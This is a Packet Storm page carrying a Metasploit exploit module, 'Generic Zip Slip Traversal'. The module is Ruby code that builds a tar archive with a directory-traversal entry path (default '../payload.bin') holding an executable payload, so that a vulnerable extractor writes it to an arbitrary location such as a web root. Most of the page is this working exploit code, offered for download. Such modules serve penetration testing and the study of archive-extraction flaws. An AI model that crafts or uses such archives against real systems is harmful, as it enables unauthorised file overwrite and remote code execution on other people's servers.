what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Generic Zip Slip Traversal

Generic Zip Slip Traversal
Posted Sep 12, 2019
Authored by sinn3r, Snyk | Site metasploit.com

This is a generic arbitrary file overwrite technique, which typically results in remote command execution. This targets a simple yet widespread vulnerability that has been seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. The idea is that often archive extraction libraries have no mitigations against directory traversal attacks. If an application uses it, there is a risk when opening an archive that is maliciously modified, and results in the embedded payload to be written to an arbitrary location (such as a web root), and results in remote code execution.

tags | exploit, remote, web, arbitrary, root, code execution
systems | cisco
SHA-256 | 8f0ccbdfa41b81ddec1fba4936ed5ca28502dd6600b5ac754d4fe23b7ec5988d

Generic Zip Slip Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "Generic Zip Slip Traversal Vulnerability",
'Description' => %q{
This is a generic arbitrary file overwrite technique, which typically results in remote
command execution. This targets a simple yet widespread vulnerability that has been
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
The idea is that often archive extraction libraries have no mitigations against
directory traversal attacks. If an application uses it, there is a risk when opening an
archive that is maliciously modified, and result in the embedded payload to be written
to an arbitrary location (such as a web root), and result in remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Snyk', # Technique discovery
'sinn3r' # Metasploit
],
'References' =>
[
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['linux', 'win', 'unix'],
'Targets' =>
[
['Manually determined', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jun 05 2018"
))

register_options([
OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
])
end

class ZipSlipArchive
attr_reader :data
attr_reader :fname
attr_reader :payload

def initialize(n, p)
@fname = n
@payload = p
@data = make
end

def make
data = ''
path = Rex::FileUtils.normalize_unix_path(fname)
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file(path, 0777) do |f|
f.write(payload)
end
end
tar.seek(0)
data = tar.read
tar.close
data
end
end

def make_tar(target_payload_path)
elf = generate_payload_exe(code: payload.encoded)
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
archive.make
end

def exploit
target_payload_path = datastore['TARGETPAYLOADPATH']
unless target_payload_path.match(/\.\.\//)
print_error('Please set a traversal path')
return
end

tar = make_tar(target_payload_path)
file_create(tar)
print_status('When extracted, the payload is expected to extract to:')
print_status(target_payload_path)
end
end

=begin
A quick test:

$ python
>>> import tarfile
>>> t = tarfile.open('test.tar')
>>> t.extractall()
>>> exit()

=end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close